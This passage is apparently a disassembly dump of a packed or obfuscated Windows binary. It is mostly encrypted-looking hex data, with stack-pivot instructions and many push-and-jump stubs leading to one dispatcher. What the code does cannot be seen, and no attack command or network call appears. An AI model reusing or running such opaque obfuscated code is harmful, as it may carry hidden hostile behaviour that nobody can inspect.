3E680000h, 0E9096037h, 0FFFD47FBh dd 60382368h, 47F1E909h, 0A968FFFDh, 0E9096038h, 0FFFD47E7h dd 60398F68h, 47DDE909h, 0CC68FFFDh, 0E909603Ah, 0FFFD47D3h dd 8B005012h, 0BB302027h, 850E4E17h, 0CC471729h, 0F47FDF60h dd 46194AB4h, 31319D16h, 4206AA21h, 30359912h, 0C58CAB20h dd 0F817CC56h, 0A2063430h, 584D7981h, 4E10123Ah, 78853A58h dd 153A584Dh, 3A584E05h, 584D7986h, 4E06143Ah, 484FBA58h dd 48BF2C65h, 8FB3333Ah, 92BB2123h, 0BA57F5A6h, 73152134h dd 8DCD963Ah, 0B14DDECBh, 2FB0FAFDh, 0CA662F3Ah, 0F955DE7Eh dd 0F6ADEB6Bh, 34A7EEC1h, 0A9D5D01Fh, 0D8C28E9Bh, 17AB80F1h dd 4304551h, 0BE800000h, 0AAB9159Eh, 0B48D21AAh, 0C1832FA4h dd 0ADB61A91h, 186626ADh, 53D878CBh, 7CF767FFh, 4FC494D0h dd 7DF666E3h, 7E80135Ah, 0E230F816h, 0ABBE74D0h, 12075712h dd 4D38C754h, 19653A58h, 0A7B7B245h, 7CC9652Ch, 108F9ADCh dd 50FC4697h, 0A5093DF2h, 5AF6B0A0h, 18094F0Fh, 7ACFDA64h dd 0FC091586h, 62773A57h, 5FA0FC77h, 86B48362h, 398h, 0ABABBE22h dd 4DA17EEDh, 8FF33A58h, 312124B3h, 47D49DBAh, 3A584DBBh dd 0DA763025h, 0E945CE8Eh, 5EFE455Ch, 51180D18h, 0C54822CEh dd 30F229FBh, 0D4920D7Fh, 0DB9DA979h, 1F941780h, 728C1F56h dd 0EE3A582Ch, 0E663CFFBh, 0C69C3076h, 0F073DF96h, 4CDF5460h dd 3A582CAEh, 0B4F262E0h, 4C05A8EFh, 3313D8DFh, 49051033h dd 34DDC78Dh, 4BC4D096h, 9D000003h, 0B61A91C1h, 862AA1B1h dd 0B8149FBFh, 8F23A8A8h, 6F2FA4B4h, 0DF7FC021h, 0EA6AF854h dd 0E777CD61h, 0D585C06Ch, 0A330795Eh, 30F8155Fh, 0BE57F3C1h dd 41EDABABh, 0BE125404h, 4DE1A8A8h, 5926E9F3h, 690E7C8Dh dd 1B2F3A7Ch, 0C7BB0390h, 4AD03A57h, 7C3A57B7h, 0E676CFE6h dd 50FCB5F3h, 0EB6BFB12h, 99ADB8FEh, 57B7F40Ah, 4F62513Ah dd 0A2EA9506h, 0BA163332h, 0FCE9AFAFh, 18F3A5E9h, 2E6834DEh dd 2C53Ah, 0B4B1700h, 47172C80h, 71E160CCh, 4E0E56FAh dd 86D669C5h, 0DE034D0Dh, 0F25ED585h, 0C36FE474h, 0F25ED585h dd 4B6CE777h, 158D9102h, 0C1F330F8h, 0ABABBE65h, 66F64EE2h dd 47013520h, 0AA3A20Eh, 495C1A3Ah, 81C4685Ch, 293B97D1h dd 81C36F29h, 0FA8697D1h, 0DB27B468h, 453A584Dh, 28544550h dd 1AF96616h, 0B276F991h, 0FA4FE3D7h, 4C8DD15Ah, 0A9B483FAh dd 228h, 4D79810Dh, 64C83A58h, 316FF4DEh, 0B964BC44h, 146EAACh dd 0DC704451h, 0FB079488h, 653A5755h, 802C6570h, 0C0D593C3h dd 95D37FF4h, 3C54B94Fh, 7A6F0F7Eh, 84D4903Ch, 93AFD3C2h dd 9B104004h, 840482C7h, 55C68FB4h, 3A5765C9h, 92F464FDh dd 4896B387h, 32000000h, 2E674A49h, 334152BDh, 0F7BBAE33h dd 34DDA30Bh, 0DF5E4A0Ch, 31000001h, 0AA62D2Dh, 3A961D3Dh dd 0CA02B2Bh, 3AF2434h, 0DB9B1040h, 6BEB746Dh, 66F64CE0h dd 530341EDh, 61F174D8h, 1784CDEAh, 30F8150Bh, 35E34775h dd 4D0BEF7Ch, 90853A58h, 6EEE7AD6h, 9DBD8B27h, 16223231h dd 2434319Dh, 0BD872B62h, 0C9F2A99Dh, 4503AFE6h, 72465315h dd 431CB0F9h, 0BD8B2713h, 0AFBA169Dh, 0FD45E9AFh, 0A8B045D7h dd 741C4897h, 0C42D9B73h, 49C2D7C2h, 6AB4276Eh, 0D63A575Ah dd 20268AC3h, 57637630h, 0F6C75811h, 76E3F973h, 91D07C48h dd 0AF034AC1h, 69E97E97h, 1B2F3A2Fh, 17515440h, 21AAAABBh dd 581E6CB2h, 7AAE93Ah, 0F464E24Eh, 0DA93A7B2h, 0F49A0C93h dd 564215C1h, 0DBEF6FFAh, 323EB748h, 0E8B42B33h, 0A8E64FE7h dd 75427809h, 337D3EEAh, 8A266F26h, 0A1BE11BBh, 0B7EED6D5h dd 3EADE4A2h, 30FAFDE4h, 685C495Ch, 96DF7FC4h, 6029293Ah dd 0FAFD2FF3h, 0B0849130h, 39D0973Bh, 0CD9A3626h, 0CBDECB8Dh dd 3323218Dh, 0C989D975h, 8B22238Fh, 0CD8B9EBEh, 26881B84h dd 0DFA652EFh, 0A003B0EBh, 234D7AE9h, 0B0A529D6h, 80993EFCh dd 5F4B0D2Bh, 0A2h, 0EB60F072h, 0DB500047h, 0E56EEE77h dd 0EC67F749h, 0D45FFF40h, 26392A94h, 5111BD36h, 22268A01h dd 5015B932h, 0E5AC8B00h, 0F813AC76h, 82261430h, 0EE6EF75Bh dd 2589BDA8h, 9CBC8920h, 0E663CF89h, 5D213076h, 0E373F601h dd 114106AAh, 8DF2AE25h, 0E8B48310h, 24h, 4D7A814Ch, 192C3A58h dd 0D593C380h, 4DF30F9Ch, 786D3A58h, 6599F26Dh, 67260A7Eh dd 14EDF972h, 49000000h, 584D7981h, 38182D3Ah, 3565FAB3h dd 0DE2FBC2Bh, 398E2A1Eh, 0B2216885h, 3A584D70h, 0E5F1C5D0h dd 2, 0A4BE12B6h, 0B5EF2B4h, 0A3A10D4Bh, 959F5B3h, 0A0A30F49h dd 95AF6B0h, 0A1A30F49h, 0A5BF7B1h, 0A3A00C4Ah, 51D8F5B3h dd 0C181E189h, 4, 8704E983h, 895C240Ch, 8768241Ch, 89000019h dd 3F68243Ch, 89000012h, 66BF242Ch, 81659262h, 0D2155DC7h dd 0F7EF8775h, 0D1EF87DDh, 8E7C1E7h, 4CACF781h, 8B543E70h dd 0C483242Ch, 4EC8304h, 89243489h, 87589FEh, 2434FF5Eh dd 4C4815Dh, 8B000000h, 8952243Ch, 4C281E2h, 81000000h dd 4C2h, 24148700h, 4275E95Ch, 96DEFFFDh, 143EEAB6h, 0B85C0E91h dd 9603B93h, 0D18BC503h, 20EBh, 7 dup(0) dd 6BE90000h, 0E9000005h, 55Fh, 603DA668h, 422DE909h, 5768FFFDh dd 0E909603Eh, 0FFFD4223h, 60404A68h, 4219E909h, 9D68FFFDh dd 0E9096040h, 0FFFD420Fh, 6FE474CEh, 5FD484C3h, 69E272F3h dd 50DB7BC5h, 78F363FCh, 0CA95CE38h, 95AD018Ah, 66E24EC5h dd 94D17DF6h, 21684FC4h, 0F81170B2h, 46E2D030h, 0F1B7A7BEh dd 584D9C62h, 8478CEBAh, 584E0B17h, 756075BAh, 96C69F33h dd 74E47CD0h, 0B39DA1DDh, 0D0C562Ah, 348308CCh, 2529h dd 7A818D00h, 0C93A584Dh, 337ADA65h, 584D5EA0h, 0E3D7C23Ah dd 0E1A8FBB8h, 0F819D672h, 0B03B2E32h, 18A4h, 0F75B0000h dd 4BD8EC6Ch, 3A584DB3h, 4900A310h, 0F8196EDAh, 18938632h dd 3DA7BEBCh, 6D926D2Bh, 53150053h, 9118A9C0h, 58EA9688h dd 19500041h, 0E9AFAFB5h, 1843C8FCh, 0D340099Ch, 0BA58814Bh dd 4AE6A0B5h, 8FD45FFFh, 0A5ECA508h, 0FE2E993Ah, 0F0C41169h dd 33918C63h, 286174B3h, 9130F261h, 3C90C3B5h, 17233626h dd 913CC251h, 275BC3B5h, 0D01B7C1Bh, 715A2B25h, 0FE000000h dd 2E674A49h, 0F821FCBDh, 8BD87432h, 0DE97DECBh, 2066F672h dd 98AD0135h, 0D67A33B8h, 2985C393h, 6F7A3C1Ch, 0C090D67Ah dd 0BA79386h, 36521E3Eh, 0B934E0BEh, 343EBFFh, 46180000h dd 32319D16h, 3C05A922h, 293B971Ch, 350EA229h, 0A0EEAE25h dd 0DB500043h, 0E46FEF77h, 0D75CFC48h, 0E56EEE7Bh, 6188BC2h dd 7A30F811h, 0E06EC48h, 0A2000003h, 0FEB7A7BEh, 8481BB7h dd 584D879Bh, 0D8ECF93Ah, 4DED0D9Eh, 9E3A58h, 573A584Dh dd 0DDE969FBh, 584DB34Eh, 99A8043Ah, 0DEEAFFB9h, 584DAD4Dh dd 629B043Ah, 0FBAD8543h, 11E97A4Eh, 7A3A57A2h, 0FA57A2A4h dd 0F0637221h, 7A57A22Eh, 61640D92h, 4869A38Bh, 9201485Dh dd 7330ED2Eh, 4C054356h, 0C7F363E0h, 0DD94179Ch, 0D38FE94Eh dd 0B8F4E169h, 0EB832C8Ah, 924B5F19h, 0E9000002h, 228E0555h dd 12BE3525h, 24880353h, 1BB73C1Ch, 0C3830848h, 83D36C75h dd 0BE9EA408h, 8BCB9935h, 0B999AC00h, 0CF5C1532h, 30F80F33h dd 5B3B9FADh, 0A7E171F7h, 1F2A86B2h, 7930793Fh, 584D18EAh dd 0A99D883Ah, 0ABE2C5F2h, 0E638ABE2h, 5A3A584Dh, 0A6E070F6h dd 192A6B3h, 32F81A07h, 8E801F56h, 0D75AE59Eh, 7EB648DBh dd 862A30F7h, 0CDD89EBEh, 268AECD8h, 6C793F1Fh, 0C0D585C0h dd 0FE5EE74Bh, 0A4A1BB7h, 4819B53Eh, 9E154E08h, 0B3A6B6B2h dd 411156FAh, 6F261207h, 974A44FCh, 22A9BC29h, 575A69B1h dd 0FAADEA3Ah, 0AA65FAB3h, 0D12A012Ah, 0B864F7C3h, 0F32F753h dd 0F2B4A4A3h, 0A0B5D3E7h, 8E5376E9h, 0F38DF2A4h, 27228EC7h dd 5510BC37h, 3A99B38Fh, 2F3AEF57h, 0FA692069h, 30F7E728h dd 2AB98D98h, 30F7E7E4h, 55A93A73h, 0CB30F7E7h, 2B1EADEh dd 0DB75E6AFh, 252997B3h, 90D57930h, 0AE024BC0h, 208CB898h dd 0D07C3525h, 0BDFBCF8Fh, 4D0D58F4h, 0B92A1E0Bh, 3A57F371h dd 67F74CE0h, 188B0853h, 6563CE51h, 0B8183384h, 8F10ED3Dh dd 0B480E2E3h, 57B66EFDh, 3B2E32F7h, 0D787DE72h, 4306AAE3h dd 98D19813h, 0F74FF70Bh, 0B3206930h, 30F74F6Fh, 0E5D1C4D1h dd 1A5CFC49h, 75891A53h, 0EB30F74Fh, 2291CAFEh, 8659C68Fh dd 0D628BBE7h, 4A30F78Eh, 0A59DC05Fh, 3EADE4D0h, 29979D0Ah dd 0A2317762h, 3A580C5Ch, 9FB473Bh, 6ECF196h, 0F5C19824h dd 831F68A9h, 0C8DB4h, 81290000h, 3A583A79h, 795h, 79813100h dd 253A5837h, 2E674A49h, 0B533F867h, 0A5AFC890h, 5816EC36h dd 7541543Ah, 0E25DAF3Ch, 48D732F7h, 2EBB9E3Ch, 501603E8h dd 66938C0Bh, 0E090B157h, 0A231786Dh, 29D2753Dh, 0D8FCB0A5h dd 0D32BBE61h, 9F8195h, 6AF40000h, 76CD61EAh, 80C16DE6h dd 6DF75BD0h, 79CA66EDh, 0A41252D9h, 3FB4A4BFh, 883D393h dd 3BB0A0A4h, 982D297h, 2AF4672Eh, 9630F80Dh, 4A4900A4h dd 6BBD2E67h, 0C532F819h, 0C6CD96D0h, 7639AAE3h, 0CA29D308h dd 0B39593DFh, 1C5A2BBDh, 4C08h, 3F1F2300h, 0B4B18B4h dd 45152C80h, 72E262CEh, 4A0A55F9h, 2A3781C1h, 1EB23919h dd 2F830848h, 1EB23919h, 0A7800B4Bh, 0DA17DEEh, 2D1F30F8h dd 170689h, 5BA20000h, 1EFBDC4h, 588D1242h, 48DA49A7h dd 0B83A580Eh, 0DF8CB8ADh, 0B4A4BE7Bh, 4B0B5EF2h, 0B3A3A10Dh dd 490959F5h, 0B0A0A30Fh, 49095AF6h, 0B1A1A30Fh, 4A0A5BF7h dd 0B3A3A00Ch, 8956D8F5h, 4C681E6h, 57000000h, 4BFh, 5FFE2900h dd 5C243487h, 772D68h, 24048900h, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 68522414h, 6FC67EAFh, 0FFC2835Ah dd 31EDC281h, 0E2814274h, 7C8C16E1h, 0D411EA81h, 0D08926A7h dd 148B545Ah, 4C48324h, 0E5BD5550h, 31330B0Eh, 5D04246Ch dd 8108428Fh, 0EE50872h, 148B330Bh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_5729AF ; --------------------------------------------------------------------------- dd 0BB80666Fh, 0B88B56B2h, 960410Eh, 0C88BC503h, 51E9h dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h dd 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh, 89F82BC1h dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h, 0FFE9E9FFh dd 3EBAFFFFh, 0E90009FDh, 164h, 41D62374h, 0DA95ECE7h dd 6715893h, 0BEB6CFDFh, 365D54FDh, 0BCECA436h, 0C55DD500h dd 0D676D352h, 0FC94A4h, 0C1AEC441h, 5277CB50h, 9CACAC32h dd 6C46BF00h, 7390ADFCh, 0D6A33659h, 9C72E275h, 0DD0090BDh dd 9B8CE693h, 64A592A7h, 92A7ABDDh, 7A918F97h, 0B9F95CFCh dd 9BB1E496h, 9F47E4B5h, 0B6E592B6h, 9EBDF694h, 96B3EBB5h dd 9C93D0ECh, 7B97BF99h, 89F55CFDh, 0EDAFF493h, 0E3B2CD00h dd 0D4E594A6h, 5700C3B5h, 0F3622D44h, 2CAE29B0h, 34000000h dd 38000000h, 2 dup(0) dd 4000000h, 94000000h, 5000000h, 1000000h, 28000000h dd 200000Ah, 53000000h, 69767265h, 50206563h, 206B6361h dd 32h, 26h dup(0) ; --------------------------------------------------------------------------- jmp loc_5A0DB5 ; --------------------------------------------------------------------------- push 96045C4h jmp loc_5729AF ; --------------------------------------------------------------------------- push 96046BDh jmp loc_5729AF ; --------------------------------------------------------------------------- push 960479Eh jmp loc_5729AF ; --------------------------------------------------------------------------- push 960486Eh jmp loc_5729AF ; --------------------------------------------------------------------------- push 9604951h jmp loc_5729AF ; --------------------------------------------------------------------------- push 9604A0Ch jmp loc_5729AF ; --------------------------------------------------------------------------- push 9604AD3h jmp loc_5729AF ; --------------------------------------------------------------------------- push 9604B91h jmp loc_5729AF ; --------------------------------------------------------------------------- push 9604EE6h jmp loc_5729AF ; --------------------------------------------------------------------------- push 9604F58h jmp loc_5729AF ; --------------------------------------------------------------------------- push 960509Ah jmp loc_5729AF ; --------------------------------------------------------------------------- push 96053C4h jmp loc_5729AF ; --------------------------------------------------------------------------- push 9605764h jmp loc_5729AF ; --------------------------------------------------------------------------- push 9605A8Ah jmp loc_5729AF ; --------------------------------------------------------------------------- push 9605BDBh jmp loc_5729AF ; --------------------------------------------------------------------------- push 9605C54h jmp loc_5729AF ; --------------------------------------------------------------------------- push 9605CBCh jmp loc_5729AF ; --------------------------------------------------------------------------- push 9605D07h jmp loc_5729AF ; --------------------------------------------------------------------------- push 9605E66h jmp loc_5729AF ; --------------------------------------------------------------------------- push 9605F56h jmp loc_5729AF ; --------------------------------------------------------------------------- push 9606140h jmp loc_5729AF ; --------------------------------------------------------------------------- db 0F5h dd 0CE62E969h, 0FE52D979h, 0D07CF767h, 0E74BC090h, 3777FC5Ch dd 97C798C9h, 0A2B2B01Ch, 9FBF8529h, 0ADADB814h, 0DB480126h dd 30F80947h, 8BC28BB9h, 0F80A0618h, 5B6F7A30h, 0ABABBEFFh dd 0DE0441EDh, 0ED7E9B47h, 3A584211h, 88059A8Fh, 9C6EF37h dd 0F41FF729h, 22BDF4E1h, 142D2DCAh, 0AE25115Eh, 59F94BE7h dd 2E81366Dh, 741FF467h, 8E9B3332h, 182D81C8h, 8ECE9438h dd 74D129BAh, 0CCB030FAh, 152E8272h, 22160345h, 0E0ED197Eh dd 565CBDh, 49F80000h, 8B87DE4Ah, 584E0618h, 7A6F7A3Ah dd 753C293Ch, 11CA6EAh, 0DB656D1Fh, 3D283D7Bh, 64D34009h dd 9C333276h, 1A89C089h, 30FA7508h, 60A23178h, 0C030FA74h dd 0B2F4C0D5h, 0D27564FBh, 22BD4F7Ah, 23758516h, 601C30FBh dd 39D63BDEh, 0DA1FBDE0h, 0BB000000h, 0E2ABABBEh, 4DE638ABh dd 0C55A3A58h, 0B8E40E0Dh, 94A0B576h, 75E57ED2h, 0D6CA9F33h dd 582DB945h, 9E32273Ah, 0C4D197C7h, 72DE97D1h, 352066F6h dd 0B898AD01h, 311DA033h, 0E3AA3A58h, 5829AE70h, 3307123Ah dd 3133CA9Fh, 13BF3421h, 1B400656h, 0D340099Ch, 333318E8h dd 0DD860D18h, 99AD3D6h, 29D473D2h, 0B6A6A20Eh, 0B9F0E5F0h dd 55726FF0h, 0DC3DA375h, 559CB34Fh, 2D382D3Ah, 0AAAAB519h dd 0A2B28D21h, 834305EEh, 9084C22Bh, 1C03h, 0E368E87Ah dd 0D358F84Fh, 0FD76E67Fh, 0C44F0F51h, 0C87D768h, 5EE1024Ch dd 89D975FEh, 5AEE42C9h, 88DD71FAh, 2D6443C8h, 0F80864BEh dd 4AEEDC30h, 0FCB5A5BEh, 0E35E1463h, 91954322h, 19B9F8EFh dd 3EB58194h, 0C87D792h, 0DE4A49A8h, 8AC3D686h, 33511A19h dd 5435633h, 0FB4A8896h, 0EF730F30h, 0E012E728h, 77CE62BDh dd 0D8F6D3E7h, 0BF000000h, 569965F6h, 120730FBh, 0ABBE8226h dd 8A4EDABh, 495C1A3Ah, 0CE8ED17Dh, 51C61B88h, 71F43A58h dd 83C66AE1h, 6C79D96Ah, 6733BA25h, 6FE18E94h, 96D080C3h dd 0AAF1B783h, 5A630EDh, 8C46650Dh, 811E884Fh, 313193F3h dd 68213421h, 3331C0FBh, 0C5561F33h, 30FB3239h, 1E2DB2A7h dd 448385D3h, 27325460h, 0EDC0F7ACh, 12B737A4h, 0AD0129D4h dd 9580C696h, 0DA65C980h, 25DF17Ah, 963F1E52h, 8EC82B82h dd 1B0A9Ah, 1F3F0300h, 2B2B3894h, 25350CA0h, 124202AEh dd 2A2A3599h, 4A97E1A1h, 7ED259F9h, 4FE368E8h, 7ED259F9h dd 0C7E06BEBh, 8011D8Eh, 4D7F30F8h, 0B5A5BEE9h, 0DBD7923Eh dd 584DB648h, 2A3F2A3Ah, 65B92A63h, 0DB3A584Dh, 74E462CEh dd 0BE6FCB40h, 0A4EDABABh, 61273708h, 59EC4074h, 0DCE472F9h dd 0BDF4B7FCh, 3321052Eh, 687D33h, 84B7F793h, 0BE8A26BCh dd 52CDD89Eh, 33105707h, 0A5FECA3Eh, 0A6B831EEh, 0A283C51Fh dd 1C61FEB7h, 0BF1B9B65h, 54045CF0h, 7A330712h, 5F7482E9h dd 7E377E7Dh, 0C97511EDh, 99A8F7Dh, 7DC975F5h, 226B7E6Bh dd 0AD99B98Eh, 3A0EA2EBh, 3E752E1Ah, 5CB1226Bh, 0A476A43Eh dd 1154F8B1h, 1C83CA41h, 0A75CA137h, 5EF2C63Ah, 52074B0Bh dd 0C9E1543Dh, 1A299B8Fh, 1E200000h, 4A19B53Eh, 142D810Ah dd 0E163CF44h, 0D56FA71h, 3886C64Dh, 0B338182Bh, 9C17471Fh dd 0AF243430h, 9D164603h, 9E60F3BAh, 230F806h, 0C45B9430h dd 50761B81h, 0B5192D96h, 0BDE6A0B0h, 51FD39F6h, 9BA2C64h dd 71C6551Ch, 693332F2h, 5561F77Ch, 5B5F06Fh, 48D82F02h dd 0F8753B6Eh, 0DF4055F2h, 0A5C49621h, 0AFF4C063h, 1F8CC5E8h dd 29D54634h, 5C75CF63h, 4425707h, 6544DE4Dh, 0A9BC3A57h dd 0FBEE88BCh, 13810093h, 62CE00C6h, 194276E6h, 0CD5E179Ah dd 6B818E9Eh, 0CC8CD975h, 0C28B9EF8h, 0B286D66Eh, 0C5E8AFF4h dd 0CC56C58Ch, 346B6B8Fh, 0CF5C1521h, 64465822h, 2A86CFDAh dd 18B43F1Fh, 7A410D4Dh, 0FDF33218h, 1959AFBBh, 8ED00000h dd 5AE945CEh, 84DD71FAh, 71F35FD4h, 7DC66AE1h, 0A81656DDh dd 23A8A8BBh, 2CA7B78Fh, 1F94C480h, 2DA6B6B3h, 4ED0430Ah dd 0B230F805h, 0F75B2480h, 78D4E070h, 702B6DEDh, 0C888D943h dd 0C78E9B8Eh, 0CA54C78Eh, 363A584Dh, 4BE7ECA9h, 0E3F6C879h dd 2264F44Fh, 23900337h, 5F333275h, 75798516h, 0F2E730FAh dd 0DFFA6CE7h, 0A4EDC0F7h, 0D5491C37h, 10D44B29h, 0EA1CE789h dd 5E4B2D19h, 0ACACBB17h, 15B9F098h, 5E4B0D4Dh, 0DAF3F96Ah dd 0C3F0A5BFh, 553AA9E0h, 0AD968B43h, 2BB8F1B8h, 0A46343D7h dd 0D492C283h, 86B2A7C1h, 891C9BC0h, 0CBE53C0h, 53469D3Eh dd 0A0B0B61Ah, 8EC7F3E6h, 54C78EC7h, 9DB01ACAh, 6EB02336h dd 0D29DB01Ah, 0A5FF3C7h, 0D86DC14Ah, 0C4773478h, 82C4C828h dd 187696h, 353EF00h, 3F1F2488h, 94918B4h, 46162E82h, 7EDE61CDh dd 164BB5F5h, 2A860D4Dh, 1BB73C1Ch, 2A860D4Dh, 93B43F1Fh dd 4B549DAh, 192B30F8h, 0ABABBEBDh, 0AE01B6EDh, 390B74E7h dd 5BF73333h, 1A0F4909h, 3B12840Fh, 4FD34009h, 0B130FB31h dd 0CCCB90A4h, 300390D9h, 7F29D605h, 1E59A536h, 0D2C73A58h dd 0DC9580E6h, 8BDBF270h, 82EADECBh, 16726311h, 0B0F3A007h dd 431CB0F9h, 74405513h, 0F0A988E7h, 23657035h, 0DD7DC66Ah dd 0E1BA8E9Bh, 25B6FFB2h, 3F1383C8h, 0C06C2530h, 84D46C85h dd 7F391928h, 58F47F6Ah, 0EE6EF40Dh, 41540442h, 0C33B7A0Dh dd 67733528h, 17BBh, 2BA0B0B2h, 1B90C087h, 25AEAEB7h, 2CA7B789h dd 149FBF80h, 66F9EA54h, 91D17DF6h, 62E64AC1h, 90D579F2h dd 256C4BC0h, 0F8036CB6h, 42E6D430h, 128EC45Bh, 1C5C1F65h dd 91C18428h, 0ACF647D8h, 70F26F9h, 692E7533h, 279C0F46h dd 6C3332AAh, 0CA6CB625h, 0C1D430FAh, 0B286D66Dh, 34AC1D4h dd 0F3C797AFh, 3A795165h, 0A1A13E77h, 352523C7h, 6FF2BAAh dd 47E87B32h, 0BB29D589h, 108FC6AEh, 6F55F9Eh, 0C05367CCh dd 0ACA0297Bh, 34A5D5Ah, 36BDC9Ch, 0B6828EEDh, 0EFF6CFFh dd 0EEFB9F6Bh, 0E1C4F3A8h, 0D8D63BA8h, 3B2E989Dh, 0CB8BDE72h dd 39192E82h, 0D55E6A7Fh, 206CEC79h, 0BF489877h, 0F46E7A3Ch dd 6D000016h, 0A60A81D1h, 963AB1A1h, 0A8048FCFh, 9F33B898h dd 5F1F94C4h, 0EF6FF0F1h, 0DA7AC864h, 0F767FD51h, 0C595D07Ch dd 0B320694Eh, 30F8036Fh, 5B47E3D1h, 0ABED6DF7h, 23268ABEh dd 692E7533h, 0D9460F46h, 0A8BE9966h, 41E137A8h, 0B8198ABEh dd 0E732F75Ah, 6D59F94Bh, 0FB571E0Bh, 0F665EE6Eh, 30F755BCh dd 0CC957F39h, 0CADFCA8Ch, 0D2410841h, 30F75650h, 3D91A5B0h dd 0F8A32828h, 2AED62BBh, 33E93ECAh, 0D5FC6F26h, 2D299755h dd 86DD7138h, 36339FD6h, 41756026h, 142F83CAh, 23170244h dd 2221B88Fh, 74617432h, 0FA99A23Dh, 3D54501Eh, 66E34F09h dd 54F7BAF6h, 0EEA82B81h, 1636FAh, 43132F00h, 7FDF64C8h dd 490958F4h, 86D66EC2h, 0BE9EA10Dh, 0D60B7535h, 0EA46CD8Dh dd 0DB77FC5Ch, 0EA46CD8Dh, 5374FF5Fh, 275891Ah, 0D9EB30F8h dd 674A497Dh, 0F14BD2Eh, 796C32F8h, 8BD57930h, 1653FFCBh dd 2696CD46h, 0D159CA83h, 2F30F80Bh, 10EF7C3Ah, 7730F80Bh dd 0EF50370Bh, 76BDE355h, 81h, 86D6933Fh, 45E1D5C0h, 0EC6CF75Bh dd 961983D8h, 0D9F073DFh, 9F8ACC8Ch, 75D9CC8Ah, 392C6AEAh dd 0A10D440Dh, 0D22EB1A1h, 19E155ECh, 0CD25B682h, 4B3A57C4h dd 0ABBB175Eh, 40065612h, 32744055h, 57C459A1h, 24340D3Ah dd 0E676CE62h, 91ADD1A0h, 85A26BFh, 839CC001h dd 2325B4h, 0F36C0000h, 0B5A617Bh, 0F65266B4h, 584D7A81h dd 43DCDB3Ah, 81615396h, 0A6EFFAF1h, 32A14635h, 2CA7B233h dd 674A4988h, 4EE6BD2Eh, 57423333h, 0A8A8BD11h, 7F56A23h dd 6EBCEEDAh, 34319DA9h, 622B6224h, 0FAF52DF1h, 2A869330h dd 0A30F3B1Bh, 1B3B09A0h, 7B87145Dh, 0E530FAF5h, 0FC49E5F0h dd 1A0F1A5Ch, 0B97FCC53h, 6401057h, 2858C13h, 0BE125460h dd 42EEA8A8h, 2135505h, 1D6CE47Eh, 7FCADD61h, 6DF854DFh dd 0C3F0ABEDh, 11570759h, 0CB581104h, 29D582BCh, 0E3AA2134h dd 1F59F94Fh, 0D7923E0Ah, 0EF52C187h, 824A0Ah, 92D7E27Ch dd 1F278BC2h, 2C800B3Fh, 0D37F3919h, 2B87C191h, 0D07C3A1Ah dd 9082C494h, 99FE52ECh, 0FB4E59E5h, 0E97CD05Bh, 86C090D0h dd 9BC08693h, 53C0891Ch, 0BAFD40D4h, 9B97AF03h, 0ED40F608h dd 6A7F6AC8h, 6B0D392Ch, 1AA8377Eh, 2D9955h, 697CDC67h dd 339FD65Dh, 71642232h, 0FC5CE945h, 0A4A19B5h, 8ED4783Eh dd 85F988CEh, 671B2EB9h, 0EC562AF4h, 2B3A96C8h, 6D786D2Bh dd 0A5FF378h, 60570C4Ah, 9897044Dh, 0E0C1C75Ah, 97D27EF5h dd 3375E57Eh, 9FBF8A26h, 0BF5FCC8Ah, 0F6B2215Ah, 2421B88Ah dd 0EBE27D34h, 0E8C5CC23h, 4C0A4A19h, 0F3784C59h, 0F49095Fh dd 8E33D946h, 396D64D2h, 0BE9EA10Dh, 0C995E9F8h, 632A2A3Eh dd 0A1E777CFh, 0A70B80B4h, 5BF7B1A1h, 7E0F4909h, 9BA94002h dd 0C89C30BBh, 1E95CE88h, 5251C28Bh, 0AECAFC7Eh, 0E69AFDBBh dd 67F74D5Ch, 550540ECh, 0AAAABF13h, 0BD81FDECh, 0A7D250CFh dd 2BED5221h, 0A6B6B31Fh, 0B410712Dh, 703915EEh, 0ECB51FE3h dd 389481D8h, 786D2B2Bh, 2E694Ch, 0BECD0000h, 55513AAh dd 5435643h, 8C96054Ch, 0F43A584Dh, 4DD42EBDh, 594C3A58h dd 7423784Ch, 0E4EB7831h, 0DC333345h, 1C5642C9h, 0F2000000h dd 5513AABEh, 43564305h, 56595E05h, 2C478C1Fh, 96833333h dd 67F8541Dh, 8467C3F7h, 311B98B0h, 7F362333h, 0E37D94D3h dd 35203573h, 1B526673h, 3320A788h, 2EBDF433h, 30FB1AD4h dd 70F5594Ch, 0A7B2D4E0h, 11C25CCFh, 8E110468h, 6F084BE7h dd 114A7EF5h, 0F460FA2h, 80B4A4A3h, 44997C13h, 431B8435h dd 0B529A20Fh, 0DC37CB58h, 0BCA945A4h, 0A1FABCA9h, 65F6BFF2h dd 3E7FA588h, 802C6570h, 0B21E95C5h, 72EBA7B7h, 71296EDAh dd 12E12337h, 6580000h, 0F271DD56h, 0FC45E962h, 0E97BD75Ch dd 0F54EE269h, 60AEEE65h, 9B104003h, 0A42F2F37h, 971C3C08h dd 0A52E2E3Bh, 0C658CB82h, 3A30F7FFh, 0C45BAC08h, 1E60B18Bh dd 0B82B1F3Dh, 3A57AE66h, 0B4FDB0E7h, 431351FDh, 0B7241005h dd 33329950h, 58F4BDA8h, 6BC74C0Ch, 973B7DDDh, 2C2C3BD2h dd 3808DDB3h, 3C29B244h, 0DDBAC570h, 9C88CE34h, 126Fh dd 77FC5CE6h, 47CC8CDBh, 71FA5AEBh, 58D383DDh, 60EB6BF4h dd 0B28DD620h, 0BD8529A2h, 0AEBA169Dh, 0BC8925AEh, 7930179Ch dd 0F7FE18EAh, 1EBA8830h, 2E674A49h, 0D878CB67h, 2B6DED74h dd 6A990A3Eh, 8633333Ah, 0D145DA93h, 362C18B1h, 10BCF5C1h dd 24880353h, 0E9763F1Fh, 8FD03204h, 0B4350CFh, 84286E5Ah dd 0B0D791C1h, 0E06772CCh, 0CCD979C9h, 0C4EED147h, 347DDD68h dd 0FA955BA7h, 0E4D0C530h, 4F11FBBFh, 495C490Fh, 0B898AC00h dd 47EBFEh, 37031650h, 0AFBA165Fh, 15005016h, 0A6B68D21h dd 95AC73E0h, 0ADD130FAh, 11410691h, 2131369Ah, 34773C67h dd 0C292D17Dh, 0ECA59184h, 9A57367Fh, 0D29B8E29h, 0EDB8064Dh dd 